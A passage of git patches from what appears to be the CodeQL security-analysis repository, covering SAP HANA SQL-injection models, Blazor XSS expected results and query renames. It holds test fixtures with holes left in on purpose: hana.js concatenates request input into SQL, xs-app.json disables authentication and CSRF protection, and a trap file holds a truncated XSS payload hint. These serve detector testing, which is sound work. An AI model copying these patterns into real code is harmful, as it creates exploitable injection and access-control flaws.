+json_locations(#20012,#20013) +json_literals("Enter Payload","""Enter Payload""",#20012) +json_properties(#20008,"placeholder",#20012) +#20014=* +json(#20014,3,#20008,2,"""Try: < ... SS\"")>""") +#20015=@"loc,{#10000},8,28,8,68" +locations_default(#20015,#10000,8,28,8,68) +json_locations(#20014,#20015) +json_literals("Try: ","""Try: """,#20014) +json_properties(#20008,"description",#20014) +#20016=* +json(#20016,3,#20008,3,"""{/input}""") +#20017=@"loc,{#10000},9,22,9,31" +locations_default(#20017,#10000,9,22,9,31) +json_locations(#20016,#20017) +json_literals("{/input}","""{/input}""",#20016) +json_properties(#20008,"value",#20016) +#20018=* +json(#20018,5,#20006,1,"{\n ... }") +#20019=@"loc,{#10000},11,9,14,9" +locations_default(#20019,#10000,11,9,14,9) +json_locations(#20018,#20019) +#20020=* +json(#20020,3,#20018,0,"""sap.ui.core.HTML""") +#20021=@"loc,{#10000},12,21,12,38" +locations_default(#20021,#10000,12,21,12,38) +json_locations(#20020,#20021) +json_literals("sap.ui.core.HTML","""sap.ui.core.HTML""",#20020) +json_properties(#20018,"Type",#20020) +#20022=* +json(#20022,3,#20018,1,"""{/input}""") +#20023=@"loc,{#10000},13,24,13,33" +locations_default(#20023,#10000,13,24,13,33) +json_locations(#20022,#20023) +json_literals("{/input}","""{/input}""",#20022) +json_properties(#20018,"content",#20022) +json_properties(#20000,"content",#20006) +numlines(#10000,16,0,0) +filetype(#10000,"json") diff --git a/javascript/extractor/tests/xsaccess/input/.xsaccess b/javascript/extractor/tests/xsjs/input/.xsaccess similarity index 100% rename from javascript/extractor/tests/xsaccess/input/.xsaccess rename to javascript/extractor/tests/xsjs/input/.xsaccess diff --git a/javascript/extractor/tests/xsjs/input/xs-app.json b/javascript/extractor/tests/xsjs/input/xs-app.json new file mode 100644 index 00000000000..01890c1ddf1 --- /dev/null +++ b/javascript/extractor/tests/xsjs/input/xs-app.json @@ -0,0 +1,12 @@ +{ + "welcomeFile": "index.html", + "authenticationMethod": "none", + "routes": [ + { + "source": "/bad/(.*)", + "destination": "srv_api", + "csrfProtection": false, + "authenticationType": "none" + } + ] +} \ No newline at end of file diff --git a/javascript/extractor/tests/xsaccess/output/trap/.xsaccess.trap b/javascript/extractor/tests/xsjs/output/trap/.xsaccess.trap similarity index 100% rename from javascript/extractor/tests/xsaccess/output/trap/.xsaccess.trap rename to javascript/extractor/tests/xsjs/output/trap/.xsaccess.trap diff --git a/javascript/extractor/tests/xsjs/output/trap/xs-app.json.trap b/javascript/extractor/tests/xsjs/output/trap/xs-app.json.trap new file mode 100644 index 00000000000..d9a35a42450 --- /dev/null +++ b/javascript/extractor/tests/xsjs/output/trap/xs-app.json.trap @@ -0,0 +1,68 @@ +#10000=@"/xs-app.json;sourcefile" +files(#10000,"/xs-app.json") +#10001=@"/;folder" +folders(#10001,"/") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=* +json(#20000,5,#10000,0,"{\n "" ... ]\n}") +#20001=@"loc,{#10000},1,1,12,1" +locations_default(#20001,#10000,1,1,12,1) +json_locations(#20000,#20001) +#20002=* +json(#20002,3,#20000,0,"""index.html""") +#20003=@"loc,{#10000},2,20,2,31" +locations_default(#20003,#10000,2,20,2,31) +json_locations(#20002,#20003) +json_literals("index.html","""index.html""",#20002) +json_properties(#20000,"welcomeFile",#20002) +#20004=* +json(#20004,3,#20000,1,"""none""") +#20005=@"loc,{#10000},3,29,3,34" +locations_default(#20005,#10000,3,29,3,34) +json_locations(#20004,#20005) +json_literals("none","""none""",#20004) +json_properties(#20000,"authenticationMethod",#20004) +#20006=* +json(#20006,4,#20000,2,"[\n ... }\n ]") +#20007=@"loc,{#10000},4,15,11,5" +locations_default(#20007,#10000,4,15,11,5) +json_locations(#20006,#20007) +#20008=* +json(#20008,5,#20006,0,"{\n ... }") +#20009=@"loc,{#10000},5,9,10,9" +locations_default(#20009,#10000,5,9,10,9) +json_locations(#20008,#20009) +#20010=* +json(#20010,3,#20008,0,"""/bad/(.*)""") +#20011=@"loc,{#10000},6,23,6,33" +locations_default(#20011,#10000,6,23,6,33) +json_locations(#20010,#20011) +json_literals("/bad/(.*)","""/bad/(.*)""",#20010) +json_properties(#20008,"source",#20010) +#20012=* +json(#20012,3,#20008,1,"""srv_api""") +#20013=@"loc,{#10000},7,28,7,36" +locations_default(#20013,#10000,7,28,7,36) +json_locations(#20012,#20013) +json_literals("srv_api","""srv_api""",#20012) +json_properties(#20008,"destination",#20012) +#20014=* +json(#20014,1,#20008,2,"false") +#20015=@"loc,{#10000},8,31,8,35" +locations_default(#20015,#10000,8,31,8,35) +json_locations(#20014,#20015) +json_literals("false","false",#20014) +json_properties(#20008,"csrfProtection",#20014) +#20016=* +json(#20016,3,#20008,3,"""none""") +#20017=@"loc,{#10000},9,35,9,40" +locations_default(#20017,#10000,9,35,9,40) +json_locations(#20016,#20017) +json_literals("none","""none""",#20016) +json_properties(#20008,"authenticationType",#20016) +json_properties(#20000,"routes",#20006) +numlines(#10000,12,0,0) +filetype(#10000,"json") From 4cdc40d1150912deea084ee9124662bd1e913c7e Mon Sep 17 00:00:00 2001 From: Napalys Date: Tue, 25 Mar 2025 18:39:54 +0100 Subject: [PATCH 076/282] Added SQL injection detection for `exec` method embeded Express client from `hdbext`. --- javascript/ql/lib/ext/hana-db-client.model.yml | 1 + .../query-tests/Security/CWE-089/untyped/SqlInjection.expected | 3 +++ .../ql/test/query-tests/Security/CWE-089/untyped/hana.js | 2 +- 3 files changed, 5 insertions(+), 1 deletion(-) diff --git a/javascript/ql/lib/ext/hana-db-client.model.yml b/javascript/ql/lib/ext/hana-db-client.model.yml index f1a02189ef2..f6e177d74ae 100644 --- a/javascript/ql/lib/ext/hana-db-client.model.yml +++ b/javascript/ql/lib/ext/hana-db-client.model.yml @@ -7,3 +7,4 @@ extensions: - ["hdb", "Member[createClient].ReturnValue.Member[exec,prepare,execute].Argument[0]", "sql-injection"] - ["@sap/hdbext", "Member[loadProcedure].Argument[2]", "sql-injection"] - ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[1]", "sql-injection"] + - ["express", "ReturnValue.Member[get].Argument[1].Parameter[0].Member[db].Member[exec].Argument[0]", "sql-injection"] diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected index df2f4ea5aed..843d41eb922 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected @@ -14,6 +14,7 @@ | hana.js:17:35:17:100 | `SELECT ... usInput | hana.js:16:32:16:39 | req.body | hana.js:17:35:17:100 | `SELECT ... usInput | This query string depends on a $@. | hana.js:16:32:16:39 | req.body | user-provided value | | hana.js:24:33:24:96 | `INSERT ... usInput | hana.js:23:32:23:39 | req.body | hana.js:24:33:24:96 | `INSERT ... usInput | This query string depends on a $@. | hana.js:23:32:23:39 | req.body | user-provided value | | hana.js:31:31:31:97 | "SELECT ... usInput | hana.js:30:30:30:37 | req.body | hana.js:31:31:31:97 | "SELECT ... usInput | This query string depends on a $@. | hana.js:30:30:30:37 | req.body | user-provided value | +| hana.js:48:15:48:52 | 'SELECT ... usInput | hana.js:47:24:47:31 | req.body | hana.js:48:15:48:52 | 'SELECT ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value | | hana.js:50:40:50:89 | 'CALL P ... usInput | hana.js:47:24:47:31 | req.body | hana.js:50:40:50:89 | 'CALL P ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value | | hana.js:54:38:54:66 | 'PROC_D ... usInput | hana.js:47:24:47:31 | req.body | hana.js:54:38:54:66 | 'PROC_D ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value | | hana.js:71:44:71:99 | "INSERT ... usInput | hana.js:68:24:68:31 | req.body | hana.js:71:44:71:99 | "INSERT ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | @@ -181,6 +182,7 @@ edges | hana.js:47:7:47:36 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance | | | hana.js:47:7:47:36 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | | | hana.js:47:24:47:31 | req.body | hana.js:47:7:47:36 | maliciousInput | provenance | | +| hana.js:48:39:48:52 | maliciousInput | hana.js:48:15:48:52 | 'SELECT ... usInput | provenance | | | hana.js:48:39:48:52 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance | | | hana.js:50:76:50:89 | maliciousInput | hana.js:50:40:50:89 | 'CALL P ... usInput | provenance | | | hana.js:50:76:50:89 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | | @@ -569,6 +571,7 @@ nodes | hana.js:31:84:31:97 | maliciousInput | semmle.label | maliciousInput | | hana.js:47:7:47:36 | maliciousInput | semmle.label | maliciousInput | | hana.js:47:24:47:31 | req.body | semmle.label | req.body | +| hana.js:48:15:48:52 | 'SELECT ... usInput | semmle.label | 'SELECT ... usInput | | hana.js:48:39:48:52 | maliciousInput | semmle.label | maliciousInput | | hana.js:50:40:50:89 | 'CALL P ... usInput | semmle.label | 'CALL P ... usInput | | hana.js:50:76:50:89 | maliciousInput | semmle.label | maliciousInput | diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js index a8fad900865..693e1e428ef 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js @@ -45,7 +45,7 @@ app1.use(hdbext.middleware(hanaConfig)); app1.get('/execute-query', function (req, res) { var client = req.db; let maliciousInput = req.body.data; // $ Source - client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); // $ MISSING: Alert + client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); // $ Alert dbStream.createProcStatement(client, 'CALL PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function (err, stmt) { // $ Alert stmt.exec({ A: maliciousInput, B: 4 }, function (err, params, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter From 62ab7f50d611ac8978ed333112d67d58a2e1479e Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 26 Mar 2025 09:33:59 +0100 Subject: [PATCH 077/282] Added change note. --- javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md diff --git a/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md b/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md new file mode 100644 index 00000000000..d7b0d09d712 --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Added support for `@sap/hana-client`, `@sap/hdbext` and `hdb` packages. From d23c3b8a74c24a410e4deb3999420f55a6c8ad67 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Wed, 26 Mar 2025 09:23:49 +0000 Subject: [PATCH 078/282] Revert manual magic This appeared to cause timeouts on DCA. --- python/ql/src/Resources/FileNotAlwaysClosedQuery.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll index ef5a9f201b6..5df0d093a14 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -91,7 +91,7 @@ private predicate fileLocalFlowStep(DataFlow::Node nodeFrom, DataFlow::Node node } /** Holds if data flows from `source` to `sink`, including file wrapper classes. */ -private predicate fileLocalFlow(FileOpen source, DataFlow::Node sink) { +private predicate fileLocalFlow(DataFlow::Node source, DataFlow::Node sink) { fileLocalFlowStep*(source, sink) } From f6968af3ae11f0ab554a06810bea2653b37c96bc Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 26 Mar 2025 11:03:32 +0100 Subject: [PATCH 079/282] Add expected XSS test results --- .../all-platforms/blazor/XSS.expected | 14 ++++++++++++++ .../blazor_build_mode_none/XSS.expected | 14 ++++++++++++++ .../all-platforms/blazor_net_8/XSS.expected | 8 ++++++++ 3 files changed, 36 insertions(+) create mode 100644 csharp/ql/integration-tests/all-platforms/blazor/XSS.expected create mode 100644 csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected create mode 100644 csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected diff --git a/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected new file mode 100644 index 00000000000..baf5a2e9c78 --- /dev/null +++ b/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected @@ -0,0 +1,14 @@ +edges +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | provenance | Src:MaD:146 MaD:142 | +| BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:148 | +nodes +| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | semmle.label | access to property Value | +| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam | +| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam | +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | semmle.label | access to property QueryParam : String | +| BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | semmle.label | call to method TypeCheck : String | +subpaths +#select +| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected new file mode 100644 index 00000000000..dad526f6d9c --- /dev/null +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected @@ -0,0 +1,14 @@ +edges +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | provenance | Src:MaD:146 MaD:142 | +| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:148 | +nodes +| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | semmle.label | access to property Value | +| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam | +| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam | +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | semmle.label | access to property QueryParam : String | +| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | semmle.label | call to method TypeCheck : String | +subpaths +#select +| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected new file mode 100644 index 00000000000..931cebe93ba --- /dev/null +++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected @@ -0,0 +1,8 @@ +edges +nodes +| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam | +| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam | +subpaths +#select +| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | From 68f96d39d2989332bf3242c0df7885e8c68f44c2 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 26 Mar 2025 11:42:59 +0100 Subject: [PATCH 080/282] Make working directory name the same on all OS --- .../DotnetSourceGeneratorWrapper.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/SourceGenerators/DotnetSourceGeneratorWrapper/DotnetSourceGeneratorWrapper.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/SourceGenerators/DotnetSourceGeneratorWrapper/DotnetSourceGeneratorWrapper.cs index 2feafb8323b..68080244901 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/SourceGenerators/DotnetSourceGeneratorWrapper/DotnetSourceGeneratorWrapper.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/SourceGenerators/DotnetSourceGeneratorWrapper/DotnetSourceGeneratorWrapper.cs @@ -37,7 +37,8 @@ namespace Semmle.Extraction.CSharp.DependencyFetching { try { - var relativePathToCsProj = Path.GetRelativePath(sourceDir, csprojFile); + var relativePathToCsProj = Path.GetRelativePath(sourceDir, csprojFile) + .Replace('\\', '/'); // Ensure we're generating the same hash regardless of the OS var name = FileUtils.ComputeHash($"{relativePathToCsProj}\n{this.GetType().Name}"); using var tempDir = new TemporaryDirectory(Path.Join(FileUtils.GetTemporaryWorkingDirectory(out _), "source-generator"), "source generator temporary", logger); var analyzerConfigPath = Path.Combine(tempDir.DirInfo.FullName, $"{name}.txt"); From 29a23a3d20deddbceb7c85db87ac42260c9b928a Mon Sep 17 00:00:00 2001 From: Marco Gario Date: Wed, 26 Mar 2025 13:28:34 +0100 Subject: [PATCH 081/282] Update UseOfKnownVulnerableAction.ql Name should not end in a `.` --- actions/ql/src/Security/CWE-1395/UseOfKnownVulnerableAction.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/actions/ql/src/Security/CWE-1395/UseOfKnownVulnerableAction.ql b/actions/ql/src/Security/CWE-1395/UseOfKnownVulnerableAction.ql index 497a3b9feb9..05603dae68b 100644 --- a/actions/ql/src/Security/CWE-1395/UseOfKnownVulnerableAction.ql +++ b/actions/ql/src/Security/CWE-1395/UseOfKnownVulnerableAction.ql @@ -1,5 +1,5 @@ /** - * @name Use of a known vulnerable action. + * @name Use of a known vulnerable action * @description The workflow is using an action with known vulnerabilities. * @kind problem * @problem.severity error From b1737858fa07cdcde9513bac72f738fee9a81dbf Mon Sep 17 00:00:00 2001 From: Marco Gario Date: Wed, 26 Mar 2025 12:49:48 +0000 Subject: [PATCH 082/282] UntrustedCheckout: Try and differentiate between two versions of the rule --- actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql b/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql index c1d3729701d..b004b26c603 100644 --- a/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql +++ b/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql @@ -1,5 +1,5 @@ /** - * @name Checkout of untrusted code in trusted context + * @name Checkout of untrusted code in trusted context with poisonable step * @description Privileged workflows have read/write access to the base repository and access to secrets. * By explicitly checking out and running the build script from a fork the untrusted code is running in an environment * that is able to push to the base repository and to access secrets. From 4e37e5add5be3d299ace42d1a72793bdd8f2ce4c Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 26 Mar 2025 13:50:39 +0100 Subject: [PATCH 083/282] Add change note --- .../lib/change-notes/2025-03-26-blazor-parameter-passing.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/lib/change-notes/2025-03-26-blazor-parameter-passing.md diff --git a/csharp/ql/lib/change-notes/2025-03-26-blazor-parameter-passing.md b/csharp/ql/lib/change-notes/2025-03-26-blazor-parameter-passing.md new file mode 100644 index 00000000000..9838aa8d44a --- /dev/null +++ b/csharp/ql/lib/change-notes/2025-03-26-blazor-parameter-passing.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Modeled parameter passing between Blazor parent and child components. From 288fcb60928710b975adaa61a034968955b60e2c Mon Sep 17 00:00:00 2001 From: Marco Gario Date: Wed, 26 Mar 2025 15:53:20 +0100 Subject: [PATCH 084/282] Update CWE-829 description for clarity --- actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql b/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql index b004b26c603..90feab533a4 100644 --- a/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql +++ b/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql @@ -1,5 +1,5 @@ /** - * @name Checkout of untrusted code in trusted context with poisonable step + * @name Checkout of untrusted code in priviledged context * @description Privileged workflows have read/write access to the base repository and access to secrets. * By explicitly checking out and running the build script from a fork the untrusted code is running in an environment * that is able to push to the base repository and to access secrets. From d824d24c497011fc53a1b6f811117aacf83577ec Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 27 Mar 2025 10:31:48 +0100 Subject: [PATCH 085/282] Improve code quality --- .../all-platforms/blazor/XSS.expected | 16 ++++++++++------ .../all-platforms/blazor/XSS.qlref | 3 ++- .../blazor_build_mode_none/XSS.expected | 16 ++++++++++------ .../blazor_build_mode_none/XSS.qlref | 3 ++- .../all-platforms/blazor_net_8/XSS.expected | 6 +++--- .../all-platforms/blazor_net_8/XSS.qlref | 3 ++- .../microsoft/aspnetcore/Components.qll | 11 +++++------ 7 files changed, 34 insertions(+), 24 deletions(-) diff --git a/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected index baf5a2e9c78..795e9ad7de0 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected +++ b/csharp/ql/integration-tests/all-platforms/blazor/XSS.expected @@ -1,6 +1,14 @@ +#select +| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | edges -| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | provenance | Src:MaD:146 MaD:142 | -| BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:148 | +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | provenance | Src:MaD:2 MaD:3 | +| BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:1 | +models +| 1 | Sink: Microsoft.AspNetCore.Components; MarkupString; false; MarkupString; (System.String); ; Argument[0]; html-injection; manual | +| 2 | Source: Microsoft.AspNetCore.Components; SupplyParameterFromQueryAttribute; false; ; ; Attribute.Getter; ReturnValue; remote; manual | +| 3 | Summary: Microsoft.AspNetCore.Components.CompilerServices; RuntimeHelpers; false; TypeCheck; (T); ; Argument[0]; ReturnValue; value; manual | nodes | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | semmle.label | access to property Value | | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam | @@ -8,7 +16,3 @@ nodes | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | semmle.label | access to property QueryParam : String | | BlazorTest/obj/Debug/net9.0/generated/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method 